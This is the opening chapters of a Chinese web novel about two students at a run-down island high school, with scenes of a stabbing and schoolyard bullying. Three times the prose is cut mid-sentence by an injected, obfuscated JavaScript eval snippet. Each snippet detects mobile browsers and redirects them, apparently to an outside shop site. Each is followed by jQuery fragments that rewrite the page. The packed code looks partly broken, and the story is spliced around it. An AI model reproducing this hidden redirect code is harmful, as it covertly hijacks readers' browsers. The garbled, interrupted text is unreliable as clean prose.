《宇宙暂停回应》
1. 5:29
高温炙烤了整整一个月,清晨浓厚的乌云在天边翻滚,窗外的枝叶被狂风搅得飒飒叫唤。林白从梦中挣脱出来,看了一眼床头的闹钟,5:29。
又提前了一分钟醒来,不知为何,最近总是在这个时间醒来。
这款老式闹钟声音巨大,在这间静悄悄的屋子里,叮铃铃一声巨响,总让人心悸,林白却期待那一瞬的刺激。
秒针走了半圈,看着窗外的树被摇得乱晃,阴沉的天边一道刺眼的闪电疾驰而过,远处轰隆隆的巨响似是朝着这边奔腾而来。声音越来越大,在头顶炸开的一刻,林白打开窗户大吼一声。
痛快!
关了闹钟,轻轻推开房门,厨房里传来了动静,何晓丽竟起床了。自中考成绩公布之后,何晓丽歇斯底里大哭一场,再没和林白说过一句话。
整整一个暑假,何晓丽几乎都躺在床上,连带着本就不多的生气一点点枯萎了。她想不明白命运为何如此对待她,一场意外带走了丈夫,将全部的心力放到林白身上,三年来无论大考小考皆是第一名,怎么偏偏中考只得了个勉强有学上的分数,只能去八中这样全市最差的高中。
桌上摆着清晨现做的包子,两碗绿豆粥,一盘炒咸菜。林白拿了碗筷,将一双筷子比对齐整后递给何晓丽。
“妈?”
何晓丽没有回应的意思,夹起一个包子无神的吃着。
大雨直直的倾泻,沿着阶梯从山顶汇流而下。岛内的山顶餐厅正在进货,搬货的小工将雨布盖在纸箱上,用力抱起,脚下小心的避开水流。
手脚最慢的矮个小工一看就是新来的,雨布撑了几次也没能撑开,只得转圈将箱子四周都包裹好,用力抬起时不知避开两侧打滑的青石阶梯,一抬脚便滑了一跤,幸好身后有人扶了一把。
“丁洛姐?”
女孩撑着一把老式的格子伞,一头红发在这青绿色的老街上格外扎眼,乍一看觉得是街上的刺头,神情却十分清冷。
“教了你多少次下雨要走中间打磨过的阶梯?”
小工嘿嘿笑了笑,摇头甩开眼前的雨帘,接着问道:“你今天不是开学吗?怎么又来了?”
丁洛帮她将货物放到餐厅门口堆好,将雨伞的水甩了甩收起,径直朝餐厅后门走去。
“我来拿学费。”
穿过后厨是一条长长的通道,两侧并无窗户,早上餐厅尚未营业,无人开灯,通道内黑漆漆一片。
丁洛走到里间第二间房门口,一脚踹开了房门。
烟味酒味还有夏季过夜的馊味随光线一并涌了过来,丁洛皱起了眉头,没忍住咳嗽了起来。
“谁啊!?不长眼吗?敢踹老子的门!”
几个赤裸着上身的壮汉跳了起来,抄起手边的家伙准备往外冲,等看清时发现只是丁洛一人站在门口。青春期的孩子还在抽条,看着瘦瘦薄薄的一片,小猫似的咳嗽,屋里顿时笑成了一片。
“昨天不是最后一天吗?怎么又回来了,舍不得我们呐哈哈哈哈哈。”
丁洛咳了半天终于缓了过来,转身踹开对面的门,空气流通起来散散味比什么都重要,否则真要熏死在这了。
对面的门吱呀一声开了,一股霉味混着血腥味飘出。
都什么味!丁洛内心大骂。
等门大开了,发现角落里还绑着一个人,看起来倒是没受什么大伤,只是那捆猪似的绑法有些屈辱,见到门打开,一双眼睛似剑一样刺了过来。
带头的阿力在身后骂骂咧咧道:“小丫头片子找死呐!再乱踢折了你的腿!”
丁洛并未理他,只转身冷冷说道:“工钱结了。”
丁洛的爹丁强是个赌鬼,成天和阿力这些人混在一起,欠了他不少钱。老赌鬼浑身上下也抖落不出几个子来,阿力干脆将丁洛一个暑假的工钱扣下,算作她替父还债。
“你有什么工钱?你老子欠的钱还没还清呢!”
“谁要听你乱七八糟的帐,我要的是我的工钱。”
混混们见只是一个小丫头闹事,也就松懈了下来。大早上的,困,纷纷扔了家伙事儿随便找个地方一躺,等着看热闹。
阿力打了个呵欠,斜靠在椅子上,手里的棒球棍一下一下的掂着,突然想起什么贱笑起来,“你要是缺钱,爷爷疼你,晚上过来给我倒酒,赏你些零花钱怎么样?”
一屋子人笑了起来,丁洛站在门口,宽松的T恤松松垮垮的罩在身上,一双旧运动鞋已经洗得起毛边,但却干净,慢慢走进屋里,嫌弃得将将地上歪歪倒倒的酒瓶全踢倒,冷笑道:
“我爷爷死了十多年了,你要是想和他喝酒,得先下去。”
“去你丫的!大早上咒老子!”
打火机被扔到酒水里,火苗在阿力面前蹭得一下蹿起。
“真是个疯子!”
一群人乱糟糟的跳起来,阿力抡起棒球棍朝丁洛砸去,被对方灵活躲过,而一把阴森的小刀只一闪而过便插进了肩膀。
阿力龇牙叫喊起来,丁洛拔出刀竟直直朝他心脏刺去,那眼神依旧冷冷的,毫无收手的意思。
半大的孩子最是可怕,动起手来没有分寸,丁洛早些年就因为下手狠毒被人称作小阎王。只是她长得清秀,也不张狂,新来的混混没人相信这话,只当是小姑娘故意给自己起的名号壮胆。
阿力感受到刀尖已经刺破了皮肤,脚下一软,瞬间瘫坐在地上,仰头看着她依旧冷冷的样子,忍不住打了个寒颤,这丫头确实可怕!
众人七手八脚的还在忙着灭火,门口的小工们听见动静嚷嚷着要报警。
阿力顾不上疼,只嚷道:“别报警!还愣着干嘛!拦住他们!”
这样的小店最怕查,消防卫生几遭查下来,加上一些乱七八糟的勾当,一年也就白干了。
“姑奶奶怕了你了,工钱给你,咱们两清。”
丁洛拿了钱也懒得多待一秒,转身就走。视线瞥过对面房间,那人的眼神多了一份看热闹的戏谑,但依旧冷得能刀死人。
身后的人乱成一遭,丁洛心情顺畅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340958|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一些,顺手将捆他的绳子划断,那人也没句感谢,直接翻窗户跑了。
雷雨已经停了,阳光直直的刺破云层,地面上的水很快蒸发,鸟虫似乎还没缓过来,世界终于清静了一会。
丁洛大口呼吸着雨后的新鲜空气,三步并两步的在台阶上蹦跶,正享受清晨的凉爽清净,身后却传了一阵机车的发动机声,动静比雷还响。
平日里最讨厌那些机车党,满大街轰隆隆放屁,生怕别人不知道自己撅着个腚的蠢样。
low货!
尖锐的刹车声360度环绕折磨,那人自以为帅气的掀开头盔,正面迎接这两字。
“谁low了?”
正是刚才被捆的人,脚下有点打滑,偷偷发力稳住了车身,端着语气说道:“刚才谢谢你了,你去哪我载你。”
“不需要。”
丁洛气他扰了清净,转身就走。
那人完全没了刚才刀人的寒意,看着浑身是刺的小丫头满眼欢喜,推着车小跑跟上,笑嘻嘻的说道:“我不喜欢欠人人情,你要什么我都满足!”
丁洛跳上马路牙子,手脚并用几下攀爬上路两边人家的院子,从院墙上翻过,转眼就消失在街道尽头。
那人被这操作看傻了,回过神来大喊道:“喂!你叫什么名字?记住啊我欠你一个人情!”
阳光越来越刺眼,路面上丝毫没有下过雨的痕迹。林白两条腿在电动车两侧晃荡,何晓丽趁着等红灯的间隙,完成了第一阶段记时。
“到第一个路口7分31秒,你什么心思我能不知道,自己去学校?还不是想在路上浪费时间!我告诉你,从现在开始每一分每一秒都要好好利用!”
林荫小道上全是送孩子上学的家长,听到这番言辞有人连连点头拉着自家孩子听听别人家的父母严厉到何种程度,也有人摇头笑笑。
无声的动静在四周蔓延,空气像是无形的牢笼,随热浪从四周挤压过来,林白低头却无处可躲。
红灯时间太长,人群无神的看着前方,在喧闹的蝉鸣声中各自发散心事。
突然远方轰隆隆一阵巨响,只见一团黑影从路口极速驶来,崭新发亮的机车甚是拉风,只是那人的衣服不知为何被撕成碎片,破布条在风中呼啦呼啦的飘荡很是狼狈。
林白感到何晓丽身体都在颤抖,果然很快破口大骂道:“要死啦!哪来的小叫花子!学什么不好学人家飙车!”
左转黄灯跳起,何晓丽骂骂咧咧松开刹车启动,一辆电动三轮车长按喇叭抢在人群启动前加速穿过路口,红色的头发肆意张扬,女孩朝身后摆了摆手,“对不住啦,赶时间!”
何晓丽一口气没顺过来,又被气得青筋凸起,“要死了!又是哪来的野丫头!你看看,差学校就是什么红毛,黄毛,杂毛都有!你怎么就考这么点分!这三年可怎么办!”
何晓丽的抱怨声越来越模糊、退后,世界仿佛被笼罩在一层厚厚的毛玻璃下,一切变得如此模糊,只前方那簇红色的火焰在鲜活地跳动。
2. 开学
心像被用力捏了一把,男人痛苦的爬了起来。
又是5.29分,该死。
开灯拿起床头的笔记本,尽量将梦中的情景描述出来。
红色头发?
约莫写了两分钟,再想不出来了。
太阳穴突突的痛,梦中的情景越来越模糊,男人扔了笔,冲了一把冷水脸,干脆往公司去。
还未到早高峰时间,一路畅通。
清晨的城市看不腻,清净开阔,再混杂的思绪也能在此刻洗净,这也是男人无所谓加班的原因之一。
打开播客,听着最近的商业动态,主播对新技术、新玩法聊得亢奋,男人点了根烟,累了。
刷开大楼的门禁,已经有人穿着拖鞋大裤衩在等电梯。这是住在园区的员工,天一亮爬起来洗把脸,就到办公区去。
“早啊,空哥。”
“早。”
这里的人都叫花名,在一起干了几年也不知道彼此的真实姓名。
男人给自己取的花名叫归零,之前的同期生们常叫他零哥或蛋哥,如今的新人们不好意思开口,不知是谁叫起了空哥,就这么被所有人接受了。
空哥将手里的早饭递过去,那人笑呵呵接过。
“嘿嘿,就等这一口醒神了,破食堂9点才开门,我们7点上班的算什么!得亏有空哥,每天愿意绕路给我们带早饭,爱你呦~”
猪猪翔是今年的校招生,花名寓意想成为飞翔的猪,刚来时整日里一副清爽男大的形象,跟组里一群男人处了一个月开始彻底放飞。
没掖好的衣角,一看就是起床随手抓一件衣服套上,每天唯一的盼头就是空哥从城西带过来的老字号煎饼,再配上双倍浓缩的冰美式。
“就是这个劲,醒了!”
11层已经灯光大亮,有不少人开始办公了。空调呼呼作响,所有的窗户都打开,这也是空哥要求的,受不了闷了一夜的装修味。
“空哥!昨晚3点群里又下需求了!”
“嗯,看到了,等会开会讨论。”
想起产品组新上任的Jessica。
空哥揉揉凸起的太阳穴,难缠。
游戏版本更新,小修小补就能交差,一群人热热闹闹忙一个季度,也就能拿到不错的业绩,混个不错的季度奖。
还不错,不就行了吗?
偏偏这个Jessica,抓住陈年bug,要求从头改,要命!
9点会议准时开始,果然人家从市场需求到资源调用到开发时间有条有理全梳理清楚了,无懈可击。
技术组都是一群木楞子,一杆子也打不出一个屁来,这种会议从来都是被别人牵着走,要么就是挨喷的份。
这个Jessica虽强势,但倒也自有一番道理,需求流程整理的清楚,只不过全是顶级难度罢了。
空哥揉了几遍太阳穴还是在组内小群里通知道:“先干吧。”
会议里响起一片叹气声。
像这样的会议空哥所有的精力都放在听需求列时间表上,也懒得与对方辩论,常常会议开完了也没记住对面组员的长相。
Jessica战胜收工,空哥看着她将鬓边的碎发别到耳后。
红色头发?
“空哥,散会了还不走?”
“嗯,走。”
太阳穴又开始痛了,这好像还是还是第一次记起梦中的情景。
深夜回到公寓,关上门隔绝了一天喧嚣。冲完澡换上刚烘干的睡衣,吞下一把药,刚躺在床上,陌生的消息又蹦了出来。
“我还是不能放弃你”
自从换了这个手机号,这个人的消息就没停过,大而空的肉麻话,生活的小细碎滔滔不绝。
诡异的是自己的消息总是发送不出去,只能任由对方发错。
“那么近又那么远,是真切的幸福也是真实的迷茫,你还好吗?”
“下班了,好晚了,突然想起下晚自习时,你一脸疲惫的样子,嗯,特别…特别性感嘿嘿”
“其实今天是我的生日,可是没有人记得,懒得买蛋糕,麻烦,就对着月亮许愿吧,许愿,见到你。”
“又一天过去了,向宇宙许愿再见面,晚安。”
……
一天没看消息,又是十几条消息轰炸,每日如此。
时间久了,空哥觉得有点愧疚,无意窥见另一个人的生活,倾听日常下无法言说的思念。
像是小偷,偷走了属于另一个人的故事。
等项目忙完一定要研究下这是什么bug。
现在,那就,生日快乐……
眼皮已经撑不住了,挣扎了几次,终于沉沉的合上。
而梦里又开始热闹。
——————
八中开学了,全市最差的学校,由小岛改建,三面环海,一条通天的惊人阶梯连接外界。
人称水牢。
丁洛到学校时已经第二节课下课了,学校大门进去前几排房子是教工宿舍,逃课的必经之路。
鸡贼。
丁洛边走边熟悉学校的地形地貌,穿过教工宿舍便是体育场,空旷且摄像头众多。
阴险。
再来便是教学楼了,早就听闻八中为了方便管理,三个年级的学生各着不同颜色的校服。今年的高一新生校服颜色是灰蓝色,远远望去,纯狱风拉满。
歹毒!
还有几分钟就要打铃,一条不太明显树荫小道横穿教学楼间的树丛,是个不错的近道。丁洛走到一半时,隐隐听到一些动静。
“第一名是吧?挺牛啊?”
一个清瘦的男生被几个人围住,带头的寸头那个正挑衅地扇着男生的脸。
“长的这么白净,跟个娘们似的,叫声哥,我罩你怎么样?”
寸头估计刚打完球也没洗手,故意扯住男生的新校服用力擦手。
男生被扇脸时倒没什么表情,此刻眉毛紧紧皱了起来,伸手抓住寸头的手腕用力一翻。
没翻动。
众人瞬间爆笑,几个人捂着肚子笑得直不起身,见多了打架斗狠的,这种清奇画风确实少见。
男生的身姿极好,站着笔挺挺的,八中这帮人追求酷,校服一定是松垮的挂在身上,站也是歪歪扭扭的插兜站。
他倒一直神情淡漠的站在众人中间,又伸手握住寸头的手腕,一双桃花眼定定的看着寸头,少了丝气势,反倒像在询问能再试一次吗?
寸头摸了把笑出的眼泪,有些慈爱的说道:
“来,给你掰。”
男生左右手一同发力,咬紧了后槽牙,皮肤太白,血色上涌更为明显,稍稍停止,凝神,聚气,用力。
还是没翻动。
啊哈哈哈哈哈!
几个壮汉笑成了一堆软泥。
男生的脸色依旧没什么变化,眉头聚在一起,看不出急躁,倒像是在思考什么。
他又伸出手,寸头非常配合的将手递过去。
“来来来!”
男生右手握住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340959|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寸头的手腕,左手用力按住寸头的脖子,终于将其重重摔下。
哐当一声止住了众人的笑声。
操!围着的几人挥着拳头朝男生砸了过去。
男生一看就没什么打架经验,不知道后退,也无处还手,拳头砸在身上也没见他哼一声,砸在了脸上瞬间红肿成一块。
安静的捂住头,只露出一双眼睛,穿过人群直直盯住不远处的丁洛。
丁洛冷不丁打了个寒颤。
一双诡异的眼睛,冬日的深潭静水,氤氲雾气中藏着锐光,寒气逼人。偏偏撞上眼神的一瞬却锐气消失,露出一股诡异的戏谑。
丁洛觉得自己像是被他抓住猎物,明明他才是被群殴的那个。
有人一脚踹在男生肚子上,他踉跄了几步倒在地上,那帮人也没有收手意思,更兴奋地围了上去。
丁洛懒得看下去,径直离开了小道。
走入教学楼,走廊里活像是炸了锅豆子,噪音爆表,整个楼板都在晃动。
预备铃响了,有人一脚飞球砸中喇叭,那喇叭呜咽一声报废,新一轮响彻云霄的欢呼声在走廊里炸开。
丁洛七拐八拐挤进了教室,她是从后门进的,在八中后排的位子具有战略意义,兵家必抢,果然这里没有空位了。
第一排大多由班主任亲自部署,留给各类重点对象,开学第一天居然也满了。
只有中间的第二排还有一个空位,丁洛放下书包,趴桌上睡个回笼觉。
教室是天然的补觉圣地,在这里无论什么声响都是白噪音,意识模糊中丁洛感觉屋外安静了,而屋内好像响起了新一轮的震动。
不重要,此刻什么动静都是催眠小曲,意识越坠越深,直至身心陷入一片浓重的黑暗,丁洛沉沉的睡去了。
一阵刺痛穿过天昏地暗的梦境,幽幽醒来,阳光从左侧的照进来,粉笔灰在空中缓缓浮动,世界是缓慢的金色。
丁洛捏了捏麻木手臂,发觉前排坐满了一排壮汉,身旁已经坐了一个人。
“醒了?林白。”
刚刚被打的男生,此刻脸肿的更厉害了,非常惜命的拿冰块捂着,桌面上摆了一堆消肿的药,手里在鼓捣一根细绳。
右眼肿的厉害,估计挡住了身旁的视线,非常艰难的转过身来特地打招呼。
丁洛咧了咧嘴。
倒也不必这么用心……
“丁洛。”
丁洛转了个身继续睡。
“你睡眠质量真不错。”
“有意见?”
“没有,倾佩,这动静丝毫没影响到你。”
丁洛瞥了一眼黑板上的课程表,刚刚是语文课,语文课睡觉不是很正常吗?语文课能有什么动静?
最后一节是数学课,班主任老郑的第一节课。
算了,还是给点面子吧,估计全班都是这样想的,所有人都在践行这个朴实的共识,收起了手机,挺直了腰板,仔仔细细听班主任的第一节课。
老郑……
丁洛撑住脑袋叹了口气。
五大三粗的糙汉,声音却是,丝丝入扣,丝丝入魂,丝丝入眠……
上课没到5分钟,已经倒了一大片,像什么聚集场所。
丁洛毕竟睡足了回笼觉,精神头正足,只是底子太差,高中数学实在听不懂。
干脆拿出崭新的初中数学书从第一章开始抄起。
旁边林白捣鼓绳子的手明显停顿了。
“有意见?”
“没有。”
3. 作文 丁洛的字很漂亮。
丁洛的字很漂亮。
远远瞥一眼,也能看出笔力苍劲,自成风骨。
她歪着脑袋认认真真抄了一节课,下课铃一响,前排的一把抽走了草稿纸。
“呦!看不出咱姐这一手好字!”
寸头吴卓打小在街上混,虽然根据地离这片有点远,但多少听过丁洛女阎王的名声,叫声姐图个亲切,也算感谢上午堵林白那会,丁洛没出手找他们麻烦。
而他身旁的李佑顿时脸色一沉,伸手正想抢走草稿纸,被丁洛抢了先。
丁洛身手很是敏捷,没看清她的动作,草稿纸已经在她手中,起身冷冰冰留下句:
“再动手动脚试试。”
这话也不知指几件事,话音刚落,人已经走到门口,随手将搓成团的纸丢进垃圾桶。
走出教室又是另一种混乱场面。
似乎所有人都在狂奔,除了两条腿抡圆了跑的,还有哧溜滑板的,骑单车的……三五成群,逃荒似的往一个方向跑。
吃饭要积极不错,这是不是太积极了?
丁洛掏出手机导航到食堂,瞬间明白了这是个什么情况。
3.2公里?步行49分钟!?
高一教学楼在最西边,而食堂在最东边,中间隔着两个年级的教学楼,两栋实验楼,三栋住校生的宿舍楼,还有一、二区两个体育场……
丁洛假模假样慢慢走了几步,很快不自觉的加入了两条腿抡圆跑队列。
正午的烈日烘烤着地面,横穿一区体育场时,人群的激情已经褪了大半,全都拖着两条腿艰难蠕动。
等走到二区体育场门口,看到又是一个诺大的室外操场,即便像丁洛这样常常锻炼的人,也感到双腿有些发软,身边粗重的喘气声一层接着一层。
有人亮出嗓子嚎了一句:“同志们!胜利就在前方!冲啊!”
一石激起千层浪,一瞬间各种千奇百怪的叫声从四面八方涌来,新生们也不顾形象了,满脑子只有奔向食堂!吃空食堂!
丁洛跟着大部队发起了最后的冲刺,掀开厚重的塑料防风帘,冷风迎面拂来,凉意瞬间包裹全身,刚刚的来时路仿佛是上辈子的事。
还好食堂的空位很多,拖着两条腿就近坐下缓缓,此刻丝毫没有胃口,食堂的饭菜香闻起来反倒反胃。
“同学,来杯绿豆汤吧,免费的。”
一位阿姨笑眼盈盈的给每个人递上一杯绿豆汤,冰凉的小甜水下肚,浑身上下都在释放同一个信息。
好饿!
剩下的一丝理智在叫嚣:这真的不是食堂做的局吗!?
虽说食堂的地理位置设置离谱,好在这里的饭菜种类非常丰富,丁洛望着绵延几米的窗口原谅了一切……
粉蒸排骨、酸菜鱼、锅包肉、虾仁滑蛋、干锅花菜......
盘子里已经堆得老高,可是还有猪脚闷黄豆、西葫芦炒牛肉、爆炒鱿鱼、大盘鸡也想吃……
算了忍忍,明天再冲!
每个人的盘子都堆得高高的,小心翼翼的捧回座位,然后大快朵颐。
每日40分钟有氧消耗,再来这么一盘营养补充,三年后怕是各个都壮得像头小牛。
丁洛将各色菜一样一口塞满口腔,一边担忧着,一边眯着眼睛幸福地咀嚼,三口下肚已经7分饱,总算缓过了饿劲,有精力感知到周边的环境。
“听说没,咱们这届的第一名是个大帅哥。”
“当然!他可是信雅初中的第一名!妥妥的大学霸,又帅学习又好,有句话怎么说来着,哦对,好好的白菜被猪拱了,怎么就考到我们这学校了?”
“你这都什么烂比喻,不过听说他是个性格安静的冷美人,不知道从云端跌到猪圈里,会不会想不开抑郁了?”
“您这比喻也好不了多少,不过猪圈里美食多啊,希望他每天吃的开心吧。”
丁洛想着这两人能玩到一起是有原因的。
“他在哪个班来着?”
“一班,听说老郑从暑假就开始抢人了,在校长办公室闹了几次。”
“一班好地啊,厕所边上,一天能看几次冷美人!”
“嘿嘿,这么想来我的吨吨杯买对了,一天一桶美容水,一边养颜一边多顺道看几次冷美人。”
“链接链接!有这好东西不早说,美容水秘方也要!”
两人正热火朝天的聊着,一人脸颊肿得老高,校服也脏兮兮的,正往这边走来。
“不好意思同学,这里有人了。”
丁洛实在没忍住,一口饭喷了出来,那两人完全没认出口中的冷美人,甚至十分嫌弃的往里坐了坐。
林白并未注意到这些,径直坐到了丁洛对面。
“后边不是还有空位吗?”
忍住几十种菜式的诱惑,林白只打了一碗丝瓜汤,估计脸上的伤口实在疼得厉害,丁洛看着他委屈巴巴的样子,有点后悔开口。
“你是我同桌。”
林白一直没敢看丁洛,只是不停地舀动碗里的汤,半天憋出这么一句,还隐约带点哭腔。
“吃饭也要找同桌?”
“嗯。”
这脸实在肿的厉害,艰难的张开嘴接住汤,估计烫着了伤口,小声嘶了一声。
“开学第一天过得有些艰难,要是再一个人吃饭未免太可怜了。”
林白像只淋了雨的受伤小狗,抬头可怜巴巴的看了一眼,丁洛都害怕下一秒眼泪会掉下来。
不是说是个冷美人吗?
“你要走了吗?你要是吃完了可以先回教室的,我腿也受伤了,走不快。”
又是一副努力忍住眼泪的样子,丁洛感觉自己像个糙汉,尴尬的站起来没好意思走。
“我去打碗汤。”
消消乐第12次通关时,林白终于喝光了一小碗丝瓜汤,艰难的咧开嘴角笑着说道:
“谢谢你同桌,愿意陪我一起吃开学第一餐。”
丁洛嘴角抽搐了一下,抬腿往前走,穿过二区体育场时才发现林白一直以不慢的速度紧跟着自己。
“你腿不是受伤了吗?”
林白紧急停了下来,皮肤过于白皙,太阳直射下能清晰看到青绿色的细小血管,而红肿的地方也衬托的更加瘆人,丁洛看着他慌乱躲闪的样子,心中默默承认确实是个美人坯子。
“啊?感觉哪哪都痛,我都忘了腿受伤了。”
林白装作腿瘸的样子,只是演技过于拙劣,丁洛嘴角又抽搐了一下,转身加快步子往教室走。
路过教学楼的绿化带时,迎面撞上吴卓三人。
三人手里拿着一条细绳,手腕上都有明显被捆过的痕迹,更明显的是脸上和林白同款的肿胀,当然这三人肿起来有点像发泡了的黑皮猪,丁洛心中更加确认林白是个美人坯子。
同样确认的是,那根细绳是林白上课把玩的那条。
林白悄悄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340960|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贴近靠在丁洛身边站着,丁洛用看穿一切的眼神盯着他,对方却只是娇俏的眨了眨眼。
原来在这等我呢!
丁洛无奈叹气,这算哪门子冷美人,那两人简直眼瞎心盲!
林白紧贴在丁洛身边站着,一副已经认领过老大的模样,抢着开口道:“还有20分钟食堂关门了,我跟丁洛先回教室了,有什么矛盾下次再说。”
不等双方反应,林白拽着丁洛往教室走,顺手抢走了吴卓手里的细绳。
吴卓一双细长的眼睛瞬间瞪圆,林白加快步子贴上了丁洛。
“离我远一点。”
“哦,对不起。”
又是一副怯弱的模样,丁洛停下来上下打量着林白,那双桃花眼溢着笑意,细小的汗珠从鬓间的小绒毛中流淌下来,活像只满是心眼子的边牧。
“好玩吗?”?
“一天打三次,谁都吃不消,谁让你见死不救呢?”
“我欠你的?”
“不欠,我只是给你攒攒功德,谢谢你罩着我哈,以后有困难随时开口,话说回来他们好像挺怕你?”
林白倒也不藏着掖着,只是这欠嗖嗖的样子,丁洛被纠缠得没招了。
“关你什么事,少粘着我。”
“哦。”
却还是一瘸一拐的跟在丁洛身后,被瞪了一眼,委屈巴巴的反驳道:“那本来都是回教室嘛,顺路也不行吗?”
“你走那边。”
丁洛随手指了条小道,林白回头看了一眼抱怨道:“谁会让瘸子绕远路嘛?”
丁洛眼神冷了下来,气氛微妙了一瞬,林白默默退后了几步,“我跟你保持距离。”
好一个难缠的狗美人,丁洛叹口气快步回教室。
下午上课前老郑临时通知准备摸底考,八中的学生还有什么底值得探索?人群一阵哀嚎,吵醒了正晕碳的丁洛。
林白将试卷递了过来,厚厚的一叠。
丁洛随手翻了几页,语数英在一张卷子上,真够随意的。不过也无所谓,都是天书,只挑了语文作文认真看了看。
宇宙暂停回应?
莫名其妙的命题,丁洛将笔转了几圈,心中浅浅构思了大纲,很快落笔。
没多久一篇完整的作文已经写好,剩下的题翻也没翻,只随意将选择题勾勾,便起身准备交卷,这才注意到身旁的林白早就交卷了。
不同的是,他那份试卷明显写满了。
有点实力嘛,学霸?
林白暑假被何晓丽关禁闭,实在无聊刷完了竞赛题,但拿到试卷后也傻了眼。
这所谓的摸底考,全是书上的课后练习题?顺序都不改?摸的是哪门子底?
林白勾勾画画十几分钟也就完工了,剩下一篇作文。
宇宙暂停回应?
看到这题目的一瞬倒是一点思路都没有,旁边的丁洛已经歪着脑袋写了半页纸,洋洋洒洒没带一点停顿。
林白一向对自己的答案很自信,从不屑对答案,更不会参与答题思路方面的探讨,但那个瞬间,他不得不承认,很想看看她的作文。
一篇作文而已,歪着脑袋写得如此认真,那字遒劲有力,笔势似要飞出卷面,专注的眼神突然停顿了一瞬,丁洛停笔朝林白翻了个白眼,用手比了个中指,顺势挡住了卷面。
嘴角忍不住上扬,扯到了伤口,林白嘶了一声,痛觉反倒刺激出了思路,很快写完交卷。
4. 不用跪
考试期间,八中有着让人不适应的安静,林白也不敢在校园里随意溜达,只是在各种树丛里摸索小道,方便以后逃课。
几番摸索,确定了八中没有后门,水牢名副其实。
无奈横跨半个校园回到大门口,门卫处的大爷正眯着眼睛听收音机,但唯一开放的校门就在他眼皮子底下,想溜出去不太现实。
林白有些丧气的往回走,途径教职工宿舍区时发现一扇有些年头的破铁门,应该是方面教职工出入使用的,不知为何如今已经弃用了,上面锈迹斑斑。
铁门不算高,要爬上去应该不难,只是门上的栏杆已经腐烂,未必能承受住人的重量,万一摔下来被锈铁刺破了皮肤,只怕问题就大了。
不过只要不临海,翻墙也不是什么问题,虽然这墙得有三米高。
大门口的老头背着手正往这边走来,老头眼神透亮,腰杆笔直,一看就是抓人好手。
林白遛到楼道里看着老头走近,只见他嘴角下撇,四处观望,沿着墙根一路检查。
果然老手。
等人走远,顺着老头刚刚的路线找,果然一处墙面被人凿出几个小坑,正好垫脚。
前人栽树,后人乘凉,感谢徒子徒孙们。
林白作战经验欠缺,只爬了几步腿就像灌了铅,趴在墙上,每迈出一步都抖成了筛子,正艰难抗战中,听见下方一阵悉悉簌簌的声音。
老头又回来了?
而林白此刻正壁虎状趴在墙面上,上不去,下不来,只能四肢紧紧扣住墙面。
人最忌灵光一动,遗臭万年。
林白不知为何脑中飘起了一个女人形象,尖着嗓音委屈道:
“老头……叔叔我书包掉那边了,没找到门。”
“你是说你的书包翻过3米高的墙,掉过去了?”
一个故作沉闷的女声传了过来。
林白惊得转头,只见丁洛正拿着手机拍,努力忍笑。
“不是……”
林白急得将脸埋进墙面,尴尬还没来得及侵袭,只觉脚下一空似是腾空而起,有一种飘飘然的感觉。
果然吉人自有天助,刚才的一切只是一场梦……
被一双结实有力的胳臂拦腰抱住,林白依旧不愿面对现实,干脆眼睛一闭只往怀里钻,被重重扔在地上,这下清醒了。
屋漏偏逢连夜雨,站起来时双脚不稳,扑通一声跪在地上。
“不用跪,视频我不会发,顶多算个威胁。”
“不是…我......”
林白欲哭无泪,夹紧核心用力站了起来,腿却还是不受力,更重得砸在地上。
丁洛俯身看了一眼,“动静小点,老头来了,我可懒得解释。”
林白用力掐住颤抖的小腿,能不能有点出息!
“缓过来没?”
“当然!”
“你先上,老头还有10分钟过来巡逻。”
林白感到有一点点不对劲,她为什么让我先上?什么动机?什么目的?
“又怂了?”
所有理性思考全部打断,脑中只有证明自己的欲望。
“你才怂了!”
林白说完便哼哧哼哧往上爬,又爬到刚刚的位置,发现没有落脚的豁口,回头看看丁洛,却见老头正背着手往这边走。
“喂,不是说好还有10分钟的吗,你情报不准啊!”
低头却见丁洛已经到了墙这边。
“你什么时候过去的!”
“你还是关心关心自己吧,老头可不是吃素的哦。”
丁洛笑着摆摆手,转身无情走开。
“喂!无情怪!穿山甲!丁洛!丁姐!丁大侠!救救我啊!”
丁洛三步并两步,很快已经快走到阶梯底部,准备骑一辆电三轮。
林白趴在墙上动弹不得,老头越来越近,再不跑来不及了!
把心一横,完蛋人生完蛋过!
结实的摔到地面上,硬是不敢出一点动静,好在地面是松软的泥土,上面又长满了杂草,林白动了动手脚,还好,都还有知觉。
老头的脚步声越来越近,林白手脚并用匍伏于地面缓缓挪动,果然杂草之中有一个隐蔽的洞口。
